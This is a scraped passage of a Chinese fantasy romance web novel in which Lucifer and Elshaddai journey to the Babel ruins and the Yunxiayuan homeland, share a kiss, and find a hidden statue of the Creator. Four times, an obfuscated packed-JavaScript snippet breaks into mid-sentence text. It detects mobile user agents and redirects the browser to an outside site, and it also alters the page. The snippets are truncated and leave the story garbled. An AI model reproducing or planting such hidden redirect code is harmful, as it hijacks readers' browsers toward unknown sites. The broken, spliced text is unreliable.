伊勒沙代坦然地任他打量,将带来的东西往前轻轻一推:“这是莫格加族人的酥酪,我改了配比,加了旁的香料,试试?” “我不用进食。” “我知道。我只是希望路西能感受到不同的风俗民情。” 路西法盯着他看了一会儿,才慢吞吞地接起来尝了一口。 伊勒沙代好像很了解他,酥酪并无他厌恶的任何味道,在保留原样的同时又尽量贴合他的喜好。 “你醒来也才不久,不先顾着别的事,反而去下厨,就不怕出什么意外,功亏一篑?”路西法目光在他身上转了一圈。 他好像又……成熟了一些? 但因为生命力亏损,比从前显得憔悴。 “不碍事。本也不难处理,只是莫格加族人未曾想到是有人用了诅咒,现在既然知道了,他们自有应对的方法。”伊勒沙代说得轻描淡写,其中查出原因和治疗的艰辛都隐去不提。 最紧急的那一批病人,他已经救治完毕,剩下情况轻的也教导了如何自行处置,再有问题,那就属实不应该了。 莫格加族人倒也不至于这么无能。 他们若真蠢钝无用,那早就没今日了。 路西法意味深长道:“有人只怕更想要你的命了。” “做得到的话,尽管来取。”伊勒沙代漫不经心应道。 路西法闻言,不禁开怀大笑,待笑够之后,他才倾身向伊勒沙代那边,语气颇为遗憾:“若我们早些相识就好了。” 若早知道他的性情如此合他胃口,当初堕天的时候说什么也要诱拐一下。 至于耶和华会怎么想? 不重要。 祂气死最好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091892|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我可不可以当这是允许我进入地狱的承诺?”伊勒沙代还没忘记这一茬。 路西法颇觉无语,伊勒沙代非要这个承诺做什么? 米迦勒早就对他生了警觉,到时候察觉到他行为不轨,米迦勒就是绑也要把他绑回去,岂会容许他前往地狱? 所以他随口敷衍:“好,可以。” 伊勒沙代像是没听出他的不经心,面上缓缓绽开笑意,多了几分生气。 路西法蓦地有一点点心虚。 他生硬地转移话题:“既然已经到了莫格加荒原,你打算什么时候去采吉连罗?你那个小跟班的妹妹可等不了太久。” 现在阿亚的躯体还没有呈现出腐朽的状态,不过是因为伊勒沙代用法力强行锁住最后的生机,但这注定不是长久之计。 她本就该是已经死去的。 路西法不抗拒这一路与伊勒沙代一道,还有个重要原因便是他想看看伊勒沙代会如何做。 耶和华是否将这通天的本事教给了他? 如若没有,伊勒沙代会不会去求助耶和华? 虽然路西法认为,就算伊勒沙代求到耶和华跟前,祂也不会为这种小事出手,但总也是个机会。 “暂定三日后,我还有一些事要交代。”伊勒沙代看着他时含有几分期待,“路西,你会与我同去吗?” “你知道吉连罗生在何处了?”路西法挑眉。 “莫格加族人告诉过我。”伊勒沙代叹道,“这也是天意,若非救下莫格加族人,吉连罗的踪迹恐怕就无人知晓了。” 当莫格加族人知道他在寻找吉连罗时,起初并不知道这是何物,但当他描述出具体外形时,便立即有人表示见过。 只不过…… 在天界山脉深处。 伊勒沙代本要独自前往,但莫格加族人强烈要求要为他引路。 直到他昏迷之前,莫格加族人都还没同意不跟着他。 “要他们做什么?人类躯体脆弱,只能给你添乱。”路西法瞥向他,殷红竖瞳在幽幽飘摇的烛光中如有波光动荡,摄人心魄,”不如……你求求我,我带你前去?” “求你。”伊勒沙代看着他的眼睛,毫不犹豫道。 他太过干脆,没有一丝犹豫,路西法反而有种被顶撞的不悦,霎时失了兴致。 所以他毫不客气地下了逐客令。 伊勒沙代还要以旁的理由留下,却正有人在四处呼唤寻找他,不得已,他只好遗憾离去。 路西法看着他的背影,眸中神色沉沉。 没了掩饰的轻松自如,他此刻的状态,无比烦躁。 从他踏上莫格加荒原开始,他的耳边,蓦地多了不明来源的声音。 吟哦诵读,层层叠叠,四面八方,无处不在。 他尝试过任何方法,但那声音如影随形,完全不能遮盖。 他当然知道那是什么。 ——创世神所经之处,必有此迹。 能不能听见,只在于耶和华想不想让对方听见。 从他观察周边状态来看,应该,只有他有此“殊荣”。 路西法试探过方位,那声音,正随着他越靠近天界山脉的位置越重。 他立刻得出结论。 耶和华去过天界山脉腹地。 创世神千万年难得出一次水晶天,他可一定要去看看了。 不过…… 上次他前去天界山脉腹地时,并未听见这声音。 还有,刚才伊勒沙代靠近他时,那声音,竟然消失了。 路西法心中疑云密布。 他看着伊勒沙代离去方向的眸色也越发深沉。 伊勒沙代,你当真和祂没有任何隐秘关系吗? 49. 这才叫吻 莫格加族人以放牧为生,这些年既要应对莱洛温人层出不穷的刁难打压,又要提防被流放到荒原上,结成群为祸一方抢劫掳掠的穷凶极恶匪徒罪犯,日子很是艰难。 这次若非偶然得到伊勒沙代相助,莫格加族人必将元气大伤。 莫格加族人性情爽朗,爱憎分明,如今对伊勒沙代感激不尽,更是恨不得围着他转,路西法每时都能看见他周边围满了人。 大概也是莫格加族人怕他当真突然不辞而别孤身前往天界山脉。 吉连罗生长之地外有重重迷瘴,有幸见过它的莫格加族人也不过是因为途中被猛兽袭击,慌不择路时误打误撞才遇见,绕是他再去也不能确定还能全须全尾地回来,便更不放心伊勒沙代独自前去了。 夜幕降临,荒原上空被深重的蓝黑笼罩,今夜月明星稀,一扫前几日的阴霾,莫格加族人在营地架了篝火,就着火光围绕着伊勒沙代听他讲述基础的小病小伤如何紧急处理。 路西法站在远处,目光落在伊勒沙代在羊皮纸上圈点勾画的瘦削手指上,又收了回来,抬腿朝着更远处走去。 伊勒沙代很热衷于他的事业,对于所有种族的人类都一视同仁地慷慨怜悯,从不吝惜传授自己的所知所学。 在这个知识被贵族垄断,底层目不识丁的人间,他的所作所为,无疑是危险的。 贵族们恐惧被他们愚弄压榨的底层人会发现自己的处境何其不公,从而揭竿而起,所以当他的行径传入王都,他们一定会想方设法杀了他。 兴许是先污蔑造谣,破坏他在人们心中的形象,再堂而皇之杀了他。 路西法根本不需要动手,他只要冷眼旁观,人类自然会杀死伊勒沙代。 但现在的路西法都没兴致去泼他冷水,因为伊勒沙代此人看似态度温和,实则属实油盐不进,他要做什么,无论旁人如何阻挠,他都一定要做到。 心志坚韧,无可动摇。 路西法都懒得去费这口舌。 他现在更多在琢磨创世神那些不明意义的行为。 比如悄无声息地去了一趟天界山脉,比如抹去他从前偶然见过弥赛亚的记忆。 天界山脉的事他自会探知,而那段记忆如今明明白白地回来,他反复回想,却也没发现任何问题。 总的来说就是一次再普通不过的相遇,完全不会影响后续他与弥赛亚的立场不同大打出手。 他想不通耶和华为什么会如此在意。 这种信息不能对等的感觉总让他烦躁,他生性高傲,最讨厌事事不在自己掌控之中的感觉。 偏生创世神就是那么一位神,祂纵观古今,高高在上审视路西法的终生,却始终在关键点闭口不言。 当年反叛之时,路西法曾激愤地问祂,全知全能的创世神是否早就知道他一定会叛离? 若是知道,为什么又给他无边的权力? 祂既放纵他的野心,培育他的欲|望,又为何到头来要斥责他的不甘? 面对他的一个个问题,耶和华依旧沉默以对。 这份不出意料的无言却是让路西法立刻冷静了下来。 偌大神殿内,神明无影无踪,他似是只在对着虚空自言自语。 像个疯子一样。 骄傲不愿输的心又占据上风,于是路西法又恢复成以往矜傲自持的模样,轻蔑讽笑,随后不回头地离去。 如今再想起这些相处的时刻,路西法已没了多余的情感,只如旁观者一般抽离自我,客观查看。 创世神曾说他性烈如火,情来时灼烧一切,情去后只余死灰。 好似也没说错。 只是他不想改,也没有改。 不知不觉间,路西法已经离了营地很远,利维坦瞅着机会跟上来,兴致勃勃地问是否需要他做什么。 路西法思考片刻,诚恳道:“你还是回去看着羊吧。” 利维坦一下子蔫了,垂头丧气地往回走。 路西法没有自己伤了他的心应该愧疚的自觉,甚至还觉得去天界山脉也不能带他。 利维坦不是原生恶魔,也不是堕天使,他对耶和华的存在的感应太弱了,他就算进去可能也只会觉得空气好新鲜,除此之外再没别的。 就是不知道伊勒沙代会不会有感觉…… “荒原夜晚多有狼群出没,还是不要独自乱走为好。” 路西法转身回头,差点被逗笑:“我怕狼群?” “狼群怕你。”伊勒沙代站在他身后,笑意盈盈。 他们走出很远,此处野草疯长,已经没过小腿,草根青涩的气味混合一点点泥土的腥气充盈鼻腔,但随着伊勒沙代靠近,蓦地有一股若隐若现的凛冽寒香混在其中。 有点熟悉,但路西法一时间想不起来。 盛大的篝火与莫格加族人拍着手鼓呼喝歌唱的声音都被伊勒沙代抛在身后,暖意融融的焰光为他镀上一层晕,路西法无端地想,他好似从世俗烟火里走来,彬彬有礼地问他要不要一同沉沦。 这念头只是一瞬。 他没有心理负担,但伊勒沙代未必没有。 他们的立场注定相对,无可转寰。 伊勒沙代对他的一番感想毫无所知,只在语调温柔地告诉他:“我打算一大早就出发,我们一起去便可,天界山脉对于人类来说太过危险。不过我会通知狄曼图雅,这是她的心愿,也是我们同行的目标。” 他不知道,路西法只顾盯着他说话时分外明显的锋利的喉结,一边欣赏一边漫不经心地“嗯嗯”应着,连他具体说了什么都没听清。 真是好形状,若是他仰起头,一定会更明显。 路西法跃跃欲试。 伊勒沙代终于发现了他不轨的目光,疑惑地顺着他的视线伸手摸了摸自己的喉结尖。 见它被挡住,路西法颇觉可惜,恋恋不舍地收回视线,敷衍道:“行,就这样吧。” 伊勒沙代若有所思。 随即,他抓起路西法的手,径直放在自己喉结上。 非常大方,大有随便他摸的架势。 路西法瞪大了眼睛。 伊勒沙代这么直接,他反而有点……不好意思。 他想解释自己其实没想摸,只是想看一下。 但好像说出来就越描越黑…… 路西法努力镇静地开口:“你……” 蓦地,一声重物砸地和咩咩叫声响起,路西法一转身,就看到了他表情无比震惊的下属。 路西法从没见利维坦的眼睛睁那么大过。 他怀里本来昏昏欲睡的小羊羔摔了下去,不满地绕着他咩咩叫抗议,他无暇顾及,只来回看着自家陛下放在天国圣子喉结上的手,以及天国圣子握着自家陛下手腕的指节,瞳孔都在抖。 路西法不知为何有种被捉|奸在床的感觉。 他想抽手,伊勒沙代却像没反应过来,还紧紧握着,完全没有松开手指。 须臾,利维坦找回自己的声音,结结巴巴开口。 “陛下……你,你再怎么,生、气,也不能,能,在这里、掐死他……呀。” * 天空刚刚擦出一抹鱼肚白时,一行人悄悄聚头。 狄曼图雅经过数日心理折磨,面容有些憔悴,但眼睛亮得吓人。 而塞里加却并不高兴,绷着脸,显得心事重重。 他似是在极力忍耐着阻止狄曼图雅的欲|望。 狄曼图雅一无所知,她靠近伊勒沙代,拿出一直藏在行李中的一张图,一边赶路一边向他讲解方位。 这张图是她在她父亲的藏书中翻到的,经过小心求证,她才确认,这图上是一条指向进入天界山脉腹地的通道。 天界山脉内部古木参天,又有无数毒虫猛兽栖息,人类一旦进入便很难安全出来。数百年前莱洛温人曾开辟过一条相对安全的通往腹地的通道,然后随着他们压榨完祭山族人最后的价值,这条通道也就此废弃。 狄曼图雅手中那幅画正是标明了另一条相对安全的路线。 她初初拿到这张图,也曾困惑,为何她身居高位,对杜维德安王忠心耿耿的父亲要藏起它,难道他想进天界山脉腹地? 可是,当年祭山族人已经尽数离开,那里纵有遗迹,恐怕也已经荒废成断壁残垣。 祭山族人苦于剥削,又有故土情节,心心念念要回去,那还情有可原,但亲王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“路西,你想去吗?”伊勒沙代不答反问。 “我说想你就去?” “看来是想去了,那就去吧。” 路西法在他肩背闷闷地笑出声。 “为何开心?” 路西法抬起头,下巴靠在他肩头上,懒懒道:“我在想,狄曼图雅方才还想着什么时候再见,没想到吧,一会儿就见到了。” 伊勒沙代闻言也笑了笑。 路西法偏过头看着他的侧脸,意味不明:“塞里加也劝你去祭山族遗址了吧?” 某个夜里,塞里加独自找过他。 “我和他不是一路人。”伊勒沙代叹道,“人间不会安宁了,我只希望我所传授的知识能尽量挽救无辜人类的性命。” 路西法哼笑:“怕只怕事与愿违。” 他像是话里有话,伊勒沙代眉心紧皱,转头要细问。 却不料,路西法离他太近。 双唇相贴的瞬间,伊勒沙代从来处变不惊的湛蓝眼眸盛满惊色。 路西法无比清晰地感知到他浑身僵硬,那颗永远平稳冷静的心脏在他胸腔里激荡,仿佛要跳出束缚。 好有趣。 伊勒沙代愣了好一会儿才回过神来,他慌乱地避开路西法的视线,想掩饰自己刚才的失态,装作若无其事,但却不得其法。 反而越发明显。 他试图用别的话题转移路西法的注意力:“从这里到祭山族遗址大概……” 原本安分环着他脖颈的手抬起,掐住他的下颏强迫着换了个方位。 随即,温热之物贴上了他的唇。 不再是险险擦过,不是一触即分。 目的明确到不能以任何意外为借口。 许久,那恶劣至极的魔王才放开他,调笑开口:“这才叫吻,圣子。” “现在,你罪加一等了。” 50. 浓雾深处 路西法谨记教训,下次逗人一定要把握分寸。 伊勒沙代到现在还在频频走神,不知道第几次差点撞到树上。 路西法忍无可忍,拍了他一掌,怒道:“想死别带着我一起。” 伊勒沙代耳尖通红,低声道:“……抱歉。” 路西法捏捏他的耳尖,凑近提醒:“再不往上,你可就要离吉连罗越来越远了。” 伊勒沙代回过神,观察周围,果真一侧地势越来越高,他回忆了一下吉连罗的生长习性,便依路西法所言,往高处走去。 在天界山脉外侧时,偶尔还能听见栖息的虫鸟发出的叫声回荡在林间,而随着深入,周围呈现出诡异的安静。 伊勒沙代猜测,这里应当是进入毒瘴带了。 幸亏他与路西法都不畏惧。 周围的雾气越来越重,几乎到了伸手不见五指的程度。 死寂与迷雾同时出现,足以激起任何人类心中最深层次的恐惧,若此时迷雾中还有猛兽蛰伏觊觎,那就是再惊悚不过的事了。 伊勒沙代步入迷雾中后便十分谨慎。 在走了不知多久后,兀地,他听见了细微的破空声。 伊勒沙代当即转身,一支箭擦着他身侧飞过。 路西法推开他,纵身靠在一棵树边。 从迷雾深处射|来的箭越来越多,都只朝着伊勒沙代所在的方向而去。 路西法将一支掉落的箭捡起,细细打量。 这箭粗制滥造,竟只是由普普通通的木头制成。 ——最关键的是,放箭之人还特意将箭头磨钝了。 根本伤不到人。 路西法看着仍在躲避箭雨的伊勒沙代,若有所思。 放箭之人只针对伊勒沙代,但又好像并不想伤害伊勒沙代。 按理说若是驱赶来者,那不应该只针对伊勒沙代一人,但那人确实对他视若无睹。 而且这箭雨持续了许久,竟然一直没有减弱,也始终没有人现身,那么放箭不像是为了无差别防御外来者。 难道……放箭人想做的,只有驱逐伊勒沙代? 真是不同寻常。 路西法揉了揉眉心,他现在距离伊勒沙代太远了,导致耳边又全是一阵阵神迹的余响,叫他心烦意燥。 他握住掌心那根木箭,一缕墨紫烟气缠绕上它的末端,随后如蛇一般向着浓雾深处蜿蜒爬去,须臾,墨紫烟气找到了目标,如有了钓物的钓鱼线似的猛地绷紧。 对面惊讶一瞬之后立刻拼命反抗,奈何那墨紫烟气任是被他带动得颤抖不止也毫无断裂的征兆。 路西法向来看不上藏头露尾故弄玄虚的行为,便不留情地一拽,要那人显个真身。 但那人意识到自己挣脱不开后也反应极为迅速果断,最后顺着那墨紫烟气回来的,竟只有一条断臂。 路西法眉心一挑,多了几分欣赏。 人类的肢体不可再生,对方倒是很有魄力。 随着那人的逃跑,箭雨终于停了下来,伊勒沙代返回路西法身侧,毫不避讳地捡起那条断臂端详。 “成年男性,应当介于青年到中年之间,居于野外时间不短……肌肉强壮,指节粗大,生有老茧,擅长制作和使用武器,手臂上有与野兽搏斗的旧伤。” 伊勒沙代得出结论后越发不解。 方才他在箭雨中感觉到对方毫无杀意。 但人类生在野外,茹毛饮血,弱肉强食,长时间不与人类文明社会接轨的话,面对陌生入侵者,性情不应当还会有如此仁善的一面才对。 最起码不会特意磨箭头。 “想不通就不要想,到时间了答案自然会跳出来。”路西法一拍他的手,眸中满是嫌弃,“快丢了,也不嫌脏。” 目下无尘的撒旦陛下可看不得伊勒沙代手里捏着这种东西。 伊勒沙代拾起粗壮些的树枝在一棵树根处挖了个坑,将那条手臂放了进去,再封上土,接着在旁边做了个特殊标记。 路西法嗤笑道:“怎么,你以后还要给他接上?” “若是一场误会,也未尝不可。”伊勒沙代温声应道,“他毕竟也不曾想伤我。” ……真是让魔厌恶的宽容善良。 路西法颇为反感。 他用镶着银饰的精巧靴尖碰了碰伊勒沙代的小腿,不客气地命令他:“出发。” 伊勒沙代任劳任怨地蹲下|身背起他。 * 穿过毒瘴带,眼前又是群山连绵。 路西法指引着伊勒沙代在迷宫似的树林里左穿右行,又向上走了许久,蓦地,他们面前豁然开朗。 此处海拔极高,但地势平坦,广袤无垠。 但最引人注目的是—— 断壁残垣。 这里有几乎覆盖整片原野的地基,其宽广程度甚至超过了小村落。 只是,野草将地砖顶破得四分五裂,周围墙体早已坍塌。 栖身其中的动物看见他们都纷纷受惊逃跑,不一会儿这里就只剩他们。 这里似乎不是祭山族遗址。 伊勒沙代几乎立刻猜到这是何处。 ——巴别塔。 或者应该说是,倒塌倾覆上百年以后的巴别塔。 从这残存的痕迹可以看出,当初这里曾有怎样一片浩大宏伟的工事,或许预计就要数万数十万人类日夜不休,才能达到最终的目标。 通天。 而建造它时的人类有多么踌躇满志野心勃勃,当它倒塌时他们就有多恐慌战栗。 神威不可冒犯。 人类离开天国太久了,久到只从书页传闻中知晓天国从上到下的存在,却完全不知创世神何等威严冷酷。 “还是当年建了一半的模样好看。”路西法靠在伊勒沙代肩头,语气随意懒散,“耶和华还真是暴脾气,都不珍惜一下人类的劳动成果。” 伊勒沙代习惯地选择性忽略他大不敬的冒犯之言。 他上前靠近那片断裂倒塌的墙体,半垂下的眼眸里思量沉沉。 当年莱洛温人执意要冒险进人人谈之色变的天界山脉,为的,就是建造这座巴别塔。 人间的所有人类难得一次全体联起手来,齐心协力,想打造一座通天之塔,为逝去人类的灵魂求一个永宁之所。 但这违反了创世神令人类悔改赎罪的神谕。 创世神震怒。 巴别塔轰然倒塌,层层化为齑粉,直到只余地基。 在这无上伟力面前,人类终于意识到自己何其弱小,又是何其不自量力。 巴别塔倒塌后,人类联盟不攻自破,人类如这塔基一样四分五裂,互相指责攻讦,逐渐形成立场相对的国度与种族。 如今人间的各种纷争战火,追根溯源,多少也起于巴别塔的倒塌。 路西法不满他的出神,凑近他耳边,不怀好意问道:“你也觉得可惜吗?” 伊勒沙代不自在地稍微拉开一点距离,努力正色回答:“我没有资格质疑圣父所行。” “你对祂的行为总是避而不谈,也不像是很怕祂。”路西法眯起双眸,似笑非笑。 来了。 伊勒沙代深知,以路西法的敏锐,绝不可能永远察觉不到他对创世神态度不同寻常。 所幸他早有铺垫,于是应对得极为镇定自若:“祂与我的关系,的确与其他天使有别,但……抱歉,现在还不到可以说出来的时候。” 路西法不知是否认可了这模糊的解释,也不再问下去,只是又靠上他的肩,懒懒散散道:“穿过这片地基,顺着东南方向下去,有一条荒废的路,可以直达祭山族居住的……咦,叫什么来着……好像是,云下原?” 云端之下,即为居处,世世代代,仰望天国。 伊勒沙代默道。 在人间,这个名字已经很久没有人提起了。 傲慢的莱洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091894|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温人根本不屑于去记录奴隶的来处,“祭山族”也是他们简单粗暴冠上的名字,“祭山族人”真实的来历文明,无人在意。 或许,这也是“贪婪”之罪的代价。 * 巴别塔遗址东南角处果真有一条道路。 看得出来,当初修建巴别塔时,这条道路就是用来做补给的,大约也曾繁荣一时,但如今荒草丛生,支离破碎。 伊勒沙代自己倒是无所谓,但怕颠着背上这位习惯享受养尊处优的地狱之主,便尽量选平顺的地方行走。 终于,在路西法困倦无聊得险些睡过去时,云下原出现在了眼前。 路西法强撑起精神打量,云下原与他记忆中差别挺大。 但不变的是云霞如织,蔚然生光,草木繁盛,花叶芬芳,土壤下永远涌动的温热泉水使这里纵使再过千百年也会如此生机盎然。 也不怪当年疲惫饥乏,被猛兽一路追赶的莱洛温军队来到此处,眼前一亮,恍然间,还以为自己到了伊甸园。 但他们带给这里的,却是永不安宁。 “从前这里人口不少,你瞧现在,人去楼空,房屋塌了大半,真是叫人唏嘘。” 路西法一本正经地说着伊勒沙代完全不信的惋惜之言。 他会感叹才怪。 撒旦陛下最对人间的纷乱斗争兴致盎然。 “咦,伊勒沙代,你看,他们还比我们先到呢……不过,好像遇到麻烦了呀。” 伊勒沙代顺着路西法略带兴奋的声音指引望去,只见塞里加站在不远处,他周围有几个神情激动,衣着素白的人类正与他争吵着。 唯独不见狄曼图雅。 几人的话音顺着风飘过来。 神情最激动的年轻人语气极为愤怒:“塞里加,你什么意思?她是莱洛温人!莱洛温人都该死!你忘了我们的族人是如何被欺辱至死的吗?你竟然还心疼起她了!” 塞里加被他一番尖锐的话说得心潮翻涌着痛苦,但还是努力争辩:“不!塔隆坦,我就算是死也不会忘记那些仇恨!但小姐她从来没有伤害过我们的族人,相反,她遇见我们的族人被欺压,都会尽全力帮助他们脱困,她很好很善良,不是你想的那种莱洛温人……” “够了!说到底你就是想帮着莱洛温畜生!你这是对我们所有死去的和正在饱受折磨的族人的背叛!真可笑啊,枉费当初长老……谁在哪里!” 伊勒沙代无奈地回看了一眼“不小心”丢了颗小石子出去的路西法,路西法回以无辜的眼神,手都还没收回来,就假装若无其事。 ……算了,他本就是这样的,不闹出事来才不符合他的性情。 这时间,塔隆坦已经带着人气势汹汹地走过来,塞里加认出他们,连忙跑来挡在他们与塔隆坦中间。 塔隆坦一眼就看见了伊勒沙代右耳上的双环,再看他左耳无环,神情便舒朗许多,只是语气还有些僵硬:“你也是我们的族人?欢迎回到云下原,这里才是我们永远的家。” 塞里加微微一动,挡住路西法的大半身影,对塔隆坦道:“这位叫伊勒沙代,确实是我们的族人,我与他从前就认识,他此番是来天界山脉采药的。” 他有意遮掩路西法的存在,路西法却不是那般想安分的。 但观这些祭山族人对外人的厌恶排斥程度,只眨眼间他就想出许多坏主意,正兴致勃勃地想着如何实施,给伊勒沙代增加行动难度。 他环顾四周想用那个坏主意比较好,蓦地,目光锁定在那一片房屋尽头的后山处。 ……好像有什么东西。 光是看一眼,他心口便重重一跳。 难道,耶和华曾来过的,就是此处? 他盯着那一处,正要挣开伊勒沙代去探查,耳边却骤然吟诵之声大响。 忽地,似有冰凉之物捂住了他的眼睛。 一声若有若无的叹息划过。 “……路西。” 51. 抛之身后 伊勒沙代将路西法轻轻放在床上,又在房中置物架上空空的花觚内插入几枝新鲜盛放的紫叶李,这才离开。 塞里加正在这处小院里等着,连日奔波劳累,让他看上去沧桑了不少,眼下青黑,下巴上也有一圈青茬,一向坚毅沉着的双眼里难掩疲惫。 他摩挲着腰间弯刀柄上满月的花纹,看上去既倦怠又焦灼难安。 他看见伊勒沙代出来,连忙上前,低声问道:“他当真无事?” “只是睡过去罢了。”伊勒沙代神态平和,并无急色,塞里加便松了口气,他是知道伊勒沙代的本事的,既然他说没事,那就是没事。 “塔隆坦他们本性不坏,他们都是被莱洛温人欺压的奴隶,受尽苦楚,好不容易才逃回云下原,所以见到外族才如此抗拒。”塞里加颇觉歉疚,方才塔隆坦并不想同意路西法进入云下原,还是他难得强硬地呵斥了他,塔隆坦才委屈又怨愤地让开。 伊勒沙代点点头表示知道,然后再没有过多探究。 倒是塞里加自己忍不住,苦笑道:“我还以为你会好奇,我为什么与他们熟识,还有他们口中的‘长老’又是何人。” “你想告诉我自然会说,不想告诉我,多问也没有用处。”伊勒沙代神色淡淡,他是当真不好奇。 塞里加叹了口气,做了个“请”的手势,只道:“来吧,我带你看看云下原,我们族人的家乡。” * “我们一族,世代居于云下原,虔诚供奉创世神,神明赐予我们丰饶富庶的土地,温暖如春的气候,风调雨顺的气象,让我们得以在这里繁衍生息。” 直到那一天,莱洛温人的马蹄踏上了云下原的土地。 他们描述的天界山脉以外的世界是多么的繁荣热闹,还有各种新奇的乐趣,让人眼花缭乱。 最终,长老们阻拦无果,族人们选择背叛世代的传承,与莱洛温人定下合作盟约,帮助莱洛温人在云下原建造巴别塔,事后,随着莱洛温人一起离开天界山脉。 “你应该也看到了,巴别塔没能建成,但族人们还是离开了天界山脉,只是他们不知道,莱洛温人暗中已将对天罚的恐惧和耗尽人力物力却失败的恼怒都记在了他们身上。” 塞里加带着伊勒沙代进入云下原最中央的小楼,那里保存得最为完好,外观没有一点破损,而里面是一座祭坛,陈设完整,纤尘不染,可见时刻有人来跪拜打扫。 塞里加庄重虔诚地净手,才往祭坛上的烛盅里添加特制的灯油。 伊勒沙代看向那祭坛上的神像,与外界并无差异,亦是纱帷覆面,只从姿态可以看出怜悯慈悲。 反映了人类美好的愿望。 塞里加心事重重,做完这一切,又带着伊勒沙代出了小楼,往云下原后面去。 “在族人们离开之后,长老便知道,属于我们的灾难即将降临,于是他们联合起来,向神明祈求,以这世代的虔心,换一个百年后得到救赎的机会。” 创世神应允了。 随后,七位长老匆匆将剩下的族人叫进来交代一番,待交代完,他们便一齐溘然长逝。 “这世上所有事,因果相成,凡得到什么,都要付出代价。”塞里加喃喃道,像是在对伊勒沙代说话,又像是自言自语。 说话间,他们便到了云下原尽头。 此处背靠一座山岭,高峰巍峨,但山脚下却不是如外界一般的树林。 而是一扇爬满青苔,紧闭的高大石门。 “聂厄曼预言中的人是你,那么长老们所说的‘希望’也是你。”塞里加看向伊勒沙代,目光复杂,“但你坚称自己不是,我也不明白你究竟是不是了。你面前的这座门,里面是我族禁地,已经尘封百年,只有长老们所说的那个人才能打开,我希望你能打开它。” 伊勒沙代仁慈善良,又有通天之能,他希望伊勒沙代是。 但塞里加也清楚,即使伊勒沙代是那个人,以伊勒沙代坚定否认的态度,也说明他不会偏帮祭山族人。 所以是不是都没有意义了。 可他还是得来这一趟。 “你总是挡在其他祭山族人身前,无论帮他们逃跑还是来试探我,都是自己独自揽下,可曾想过,这并非长久之计?”伊勒沙代语气和缓,即使说破真相,也并不生气。 塞里加想,他好像从未见过伊勒沙代有什么大的情绪波动。 他始终是平静的,温和的,淡漠的。 简直像一座木雕石相。 唯有对着那个妖异美貌,极为危险的男人,才会流露出不同的情绪。 “有我在一日,就不会让他们冲在前面。”塞里加收回思绪,坚定回道,“就像那一日我与你说过的一样,我会永远保护我的族人,我的性命便是记挂于此。” “那狄曼图雅呢?”伊勒沙代蓦地问道。 塞里加一愣,随即毫不犹豫道:“我也会保护小姐,她对我来说,和我的族人一样重要。” 伊勒沙代缓缓说道:“那你一条命不太够分。” ……? 塞里加几乎怀疑自己耳朵出了问题。 伊勒沙代,这是,在讲笑话吗? 他是不是应该捧场地笑一下。 如果这个被调侃的对象不是他的话。 还没等他想好,伊勒沙代已经继续保持着云淡风轻的气质又开口:“若你不想她死在这里,那就不要告诉他们狄曼图雅的身世来历。” 塞里加目光一震,握紧刀柄,再顾不得想其他,厉声问道:“为什么?” 随即,他又想明白了。 这里每个人都深恨莱洛温人,尤其是傲慢暴虐的莱洛温皇室,狄曼图雅身份越尊贵,他们就会越恨她。 “塔隆坦本性不坏,小姐只是个……只是个善良的姑娘,他们就算因为她的身份讨厌她,也不会想害她性命的。”塞里加努力辩解,“我与塔隆坦从小一起长大,当初在斗兽场,他都不敢和那些野兽搏斗,其他人也是,他们都是善良的,还曾被欺负过,怎会反过来伤害小姐呢?” 伊勒沙代不想再与他谈这些,抬头看了看天色,道:“你期许的打开这门的人不该是我,你们另寻他人吧。” 说罢,他便自顾自离开,任由塞里加满腔的话憋在心里无法说。 * 直至月上中天,路西法依旧没有醒来的迹象。 伊勒沙代俯视着他难得安静的睡颜,伸手轻轻捏了捏他的侧脸。 随后起身离开。 月夜下的云下原暮色清明,月光照耀着正片原野,树影在地上交错摇晃。 那扇白日里才有人在门口驻足过的高大石门蓦地发出一点轻微的响声,随后,一缕月光落在了门后的地砖上。 伊勒沙代不紧不慢地进去,再将整扇门合上。 霎时,门后又落入彻底的黑暗之中。 伊勒沙代随意地上前,用火折子点起七枝长明灯。 这门后,也是一座祭坛。 但不同的是,这祭坛后的神像巍峨宏伟,与山同高。 最重要的是…… ——若路西法此刻在这里,就会发现,这座并未雕刻纱帷遮盖的巨大神像的脸,与伊勒沙代足有七八分相似。 与那外界希冀的慈悲怜悯不同,祂俯视下首,神情淡漠,视浩大天地与万物苍生只如一粟。 伊勒沙代抬头,看向神像的脸,缓缓笑了起来,仍是那般温和的模样,笑道:“圣父,是我先到一步,你很失望吧?” 神像不会回答他,只是沉默地注视着。 “路西,亲吻我了。”伊勒沙代兀地笑出声来,他指了指自己的唇,湛蓝眸中满是喜悦和留恋,“你看,你只能在这神坛上,而我,却能和他同行千山万水。他已经会主动亲近我了,圣父,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 